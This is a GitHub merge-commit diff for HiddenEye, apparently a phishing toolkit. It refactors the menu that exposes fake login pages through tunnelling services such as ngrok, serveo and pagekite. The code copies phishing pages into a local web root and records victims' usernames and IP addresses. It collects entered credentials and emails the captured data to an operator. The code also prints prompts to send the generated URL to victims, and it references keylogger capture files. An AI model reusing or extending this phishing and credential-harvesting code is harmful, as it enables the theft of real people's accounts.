Merge pull request #666 from DarkSecDevelopers/master

Updated Dev branch
This commit is contained in:
sTiKyt 2020-06-08 17:54:41 +03:00 committed by GitHub
commit 4839f5ba25
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
18 changed files with 198 additions and 363 deletions

4
.config/ngrok.yml Normal file
View File

@ -0,0 +1,4 @@
console_ui: false
update: true
log_level: info
log_format: term

1
.gitattributes vendored Normal file
View File

@ -0,0 +1 @@
WebPages/* linguist-detectable=false

View File

@ -1,8 +1,8 @@
--- ---
name: Bug report name: Bug report
about: Create a report to help us improve about: Create a report to help us improve
title: '' title: "[BUG]"
labels: '' labels: not-confirmed
assignees: '' assignees: ''
--- ---
@ -23,16 +23,11 @@ A clear and concise description of what you expected to happen.
**Screenshots** **Screenshots**
If applicable, add screenshots to help explain your problem. If applicable, add screenshots to help explain your problem.
**Desktop (please complete the following information):** **Device (please complete the following information):**
- OS: [e.g. iOS] - OS: [e.g. iOS]
- Browser [e.g. chrome, safari] - Python [e.g. 3.6.1]
- Version [e.g. 22] - HiddenEye Version [e.g. 1.0.22]
**Smartphone (please complete the following information):**
- Device: [e.g. iPhone6]
- OS: [e.g. iOS8.1]
- Browser [e.g. stock browser, safari]
- Version [e.g. 22]
**Additional context** **Additional context**
Add any other context about the problem here. Add any other context about the problem here.

21
.gitignore vendored
View File

@ -1,17 +1,4 @@
*.pyc
Defs/__pycache__/
Defs/ActionManager/__pycache__/
Defs/ActionManager/Server/__pycache__/
Defs/FeatureManager/__pycache__/
Defs/FeatureManager/EmailManager/__pycache__/
Defs/ImportManager/__pycache__/
Defs/ThemeManager/__pycache__/
*.deb *.deb
@ -33,10 +20,6 @@ Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt
Server/CapturedData/KeyloggerData.txt Server/CapturedData/KeyloggerData.txt
Defs/LocalizationManager/__pycache__/
Defs/LocalizationManager/lang_action_manager/__pycache__/
eula.txt eula.txt
Defs/LocalizationManager/lang_action_manager/lang_server/__pycache__/ Server/www/

View File

@ -1,65 +0,0 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import run_command
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_menu as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ActionManager.main_runner as main_runner
default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
#print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
# )
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.lang_server_selection["server_selection"])
print(localization.lang_server_selection["select_any_available_server"])
main_runner.print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
server_runner.start_localhost(port) #FIXED
elif choice == '01':
run_command('clear')
server_runner.start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
server_runner.start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
server_runner.start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
server_runner.start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
server_runner.start_openport(port)
elif choice == '06':
run_command('clear')
server_runner.start_pagekite(port)
else:
run_command('clear')
return server_selection(port)

View File

@ -7,18 +7,66 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.ActionManager.Server.server_menu as server_menu
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ActionManager.main_runner as main_runner from Defs.LocalizationManager.helper import print_sorted_as_menu
import os
default_palette = theme.default_palette try:
os.mkdir("Server/www")
except FileExistsError:
pass
enter_server_www = chdir("Server/www") enter_server_www = chdir("Server/www")
exit_server_www = chdir("../..") exit_server_www = chdir("../..")
default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
# )
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.lang_server_selection["server_selection"])
print(localization.lang_server_selection["select_any_available_server"])
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
start_localhost(port) # FIXED
elif choice == '01':
run_command('clear')
start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
start_openport(port)
elif choice == '06':
run_command('clear')
start_pagekite(port)
else:
run_command('clear')
return server_selection(port)
def set_php(host='127.0.0.1', port=80): def set_php(host='127.0.0.1', port=80):
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL) run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
@ -27,14 +75,17 @@ def set_php(host='127.0.0.1', port=80):
def set_port(port=80): def set_port(port=80):
run_background_command(["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL) run_background_command(
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
def start_server(port=80): def start_server(port=80):
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/]) # run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
# "2>&1"**/])
set_port(port) set_port(port)
# enter_server_www # enter_server_www
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"]) # run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
# "/dev/null", "2>&1", "&"])
set_php(port=port) set_php(port=port)
# exit_server_www # exit_server_www
@ -49,7 +100,10 @@ def start_localhost(port):
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# '') # '')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localhost["localhost_server"]) print(localization.lang_start_localhost["localhost_server"])
host = "127.0.0.1" host = "127.0.0.1"
print(localization.lang_start_localhost["your_localhost_is"] + host) print(localization.lang_start_localhost["your_localhost_is"] + host)
@ -58,7 +112,8 @@ def start_localhost(port):
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port)) # && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www enter_server_www
set_php(host, port) set_php(host, port)
print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port)) print(localization.lang_start_localhost[
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
# wait(2) # wait(2)
run_command('clear') run_command('clear')
# print(''' # print('''
@ -68,16 +123,23 @@ def start_localhost(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localhost["running_localhost_server"]) print(localization.lang_start_localhost["running_localhost_server"])
# print("- # print("-
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host)) # ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '{0}:{1}\n'.format(host, port)) print(localization.lang_start_localhost[
"localhost_url"] + '{0}:{1}\n'.format(host, port))
def start_ngrok(port): def start_ngrok(port):
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
# later
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
run_command('clear') run_command('clear')
# print(''' # print('''
@ -87,12 +149,16 @@ def start_ngrok(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_ngrok["ngrok_server"]) print(localization.lang_start_ngrok["ngrok_server"])
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
##chmod('Server', 0o777) # chmod('Server', 0o777)
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) # run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
ngrok.connect(port) # stderr=DEVNULL)
ngrok.connect(port=int(port))
# currentDirectory = os.getcwd() #DELETE # currentDirectory = os.getcwd() #DELETE
# print(currentDirectory) #DELETE # print(currentDirectory) #DELETE
while True: while True:
@ -110,8 +176,10 @@ def start_ngrok(port):
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n") # print("\n")
print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_ngrok[
"ngrok_url"] + url + default_palette[4])
break break
@ -130,17 +198,23 @@ def start_serveo(port):
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# #
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_random_server"]) print(localization.lang_start_serveo["serveo_random_server"])
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port)) # run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
# /dev/null &' % (port))
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) 'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
wait(8) wait(8)
try: try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
# print("-\n # print("-\n
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
@ -148,8 +222,10 @@ def start_serveo(port):
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4])) # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n") # print("\n")
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
except CalledProcessError: except CalledProcessError:
wait(4) wait(4)
@ -157,7 +233,6 @@ def start_serveo(port):
return random(port) return random(port)
def custom(port): def custom(port):
# print(''' # print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -169,9 +244,13 @@ def start_serveo(port):
# \n # \n
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2])) # \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo[
"make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"]) print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line) lnk = input(global_localization.input_line)
@ -179,14 +258,18 @@ def start_serveo(port):
lnk += ".serveo.net" lnk += ".serveo.net"
else: else:
pass pass
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port)) # run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
# port))
run_command( run_command(
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', ['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, '-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL) stderr=DEVNULL)
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command('clear') run_command('clear')
# print(''' # print('''
@ -196,15 +279,20 @@ def start_serveo(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0} # {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
# \n-------------------------------'''.format(default_palette[0], default_palette[2])) # \n-------------------------------'''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS- # print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print("\n") print("\n")
@ -230,13 +318,16 @@ def start_serveo(port):
# #
# #
# '''.format(default_palette[0], default_palette[2])) # '''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_url_option_selection"]) print(localization.lang_start_serveo["serveo_url_option_selection"])
print(localization.lang_start_serveo["serveo_phishing_warning"]) print(localization.lang_start_serveo["serveo_phishing_warning"])
print(localization.lang_start_serveo["choose_type_of_url"]) print(localization.lang_start_serveo["choose_type_of_url"])
# print(" \n".format(default_palette[0], default_palette[2])) # print(" \n".format(default_palette[0], default_palette[2]))
main_runner.print_sorted_as_menu(localization.lang_start_serveo["url_types"]) print_sorted_as_menu(localization.lang_start_serveo["url_types"])
choice = input(global_localization.input_line) choice = input(global_localization.input_line)
run_command('clear') run_command('clear')
if choice == '1': if choice == '1':
@ -253,7 +344,7 @@ def start_serveo(port):
choice = input("HiddenEye >> ") choice = input("HiddenEye >> ")
choice = choice.lower() choice = choice.lower()
if choice == 'y': if choice == 'y':
return server_menu.server_selection(port) return server_selection(port)
else: else:
return start_serveo(port) return start_serveo(port)
@ -417,7 +508,7 @@ def start_openport(port):
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4])) default_palette[4]))
server_menu.server_selection(port) server_selection(port)
urlFile = open('openport.txt', 'r') urlFile = open('openport.txt', 'r')
urltoverify = urlFile.read().strip() urltoverify = urlFile.read().strip()
@ -452,12 +543,13 @@ def start_openport(port):
print('[*] Openport not Installed correctly, Try installing it manually !!') print('[*] Openport not Installed correctly, Try installing it manually !!')
print('[*] Check Here ... https://openport.io/download') print('[*] Check Here ... https://openport.io/download')
input('\n Press Enter To Go back..') input('\n Press Enter To Go back..')
server_menu.server_selection(port) server_selection(port)
else: else:
manage_url(port) manage_url(port)
def start_pagekite(port): def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector
run_command('clear') run_command('clear')
print(''' print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
@ -475,7 +567,7 @@ def start_pagekite(port):
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0], print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
default_palette[4])) default_palette[4]))
wait(2) wait(2)
server_menu.server_selection(port) server_selection(port)
else: else:
pass pass
else: else:
@ -498,4 +590,4 @@ def start_pagekite(port):
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain)) run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
except KeyboardInterrupt: except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use') print('[!] Please Copy the Generated Link For Further Use')
simple_informant.credentials_collector(port) credentials_collector(port)

View File

@ -7,22 +7,15 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
from Defs.LocalizationManager.helper import print_sorted_as_menu
import os import os
import time import time
default_palette = theme.default_palette
module_loading_message = simple_informant.module_loading_message module_loading_message = simple_informant.module_loading_message
def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list:
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
def start_main_menu(): def start_main_menu():
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
@ -241,10 +234,11 @@ def start_main_menu():
def start_phishing_page(page, custom_option): # Phishing pages selection menu def start_phishing_page(page, custom_option): # Phishing pages selection menu
chmod('Server', 777) #chmod('Server', 777)
run_command(['chmod', '-R', '777', 'Server'])
rmtree("Server/www", onerror=simple_informant.remove_readonly) rmtree("Server/www", onerror=simple_informant.remove_readonly)
mkdir('Server/www') mkdir('Server/www')
chmod('Server/www', 777) #chmod('Server/www', 777)
pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/usernames.txt').touch()
pathlib_Path('Server/www/ip.txt').touch() pathlib_Path('Server/www/ip.txt').touch()
copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile('WebPages/ip.php', 'Server/www/ip.php')

View File

@ -8,7 +8,7 @@
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_menu as server_menu import Defs.ActionManager.Server.server_runner as server_runner
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
@ -44,7 +44,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
elif choice == 'm': elif choice == 'm':
email_prompt.captured_data_email_confirmation(port) email_prompt.captured_data_email_confirmation(port)
elif choice == 's': elif choice == 's':
server_menu.server_selection(port) server_runner.server_selection(port)
elif choice == 'x': elif choice == 'x':
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)

View File

@ -8,7 +8,6 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.ActionManager.simple_informant as simple_informant
default_palette = theme.default_palette default_palette = theme.default_palette
@ -37,11 +36,12 @@ def captured_data_email_prompt():
captured_data_email_prompt() captured_data_email_prompt()
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address. def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
import Defs.ActionManager.simple_informant as simple_informant
choice = input( choice = input(
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
if choice == 'Y' or choice == 'y': if choice == 'Y' or choice == 'y':
if path.isfile('Defs/Send_Email/emailconfig.py') == True: if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
system('python3 Defs/Send_Email/SendEmail.py') system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
else: else:
print( print(
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
@ -66,35 +66,35 @@ def captured_data_email_configuration_prompt():
{1}http://github.com/darksecdevelopers {1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
#run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') #run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py') copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
GMAILPASSWORD = getpass.getpass( GMAILPASSWORD = getpass.getpass(
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
RECIPIENTEMAIL = input( RECIPIENTEMAIL = input(
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
with open('Defs/Send_Email/emailconfig.py') as f: with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
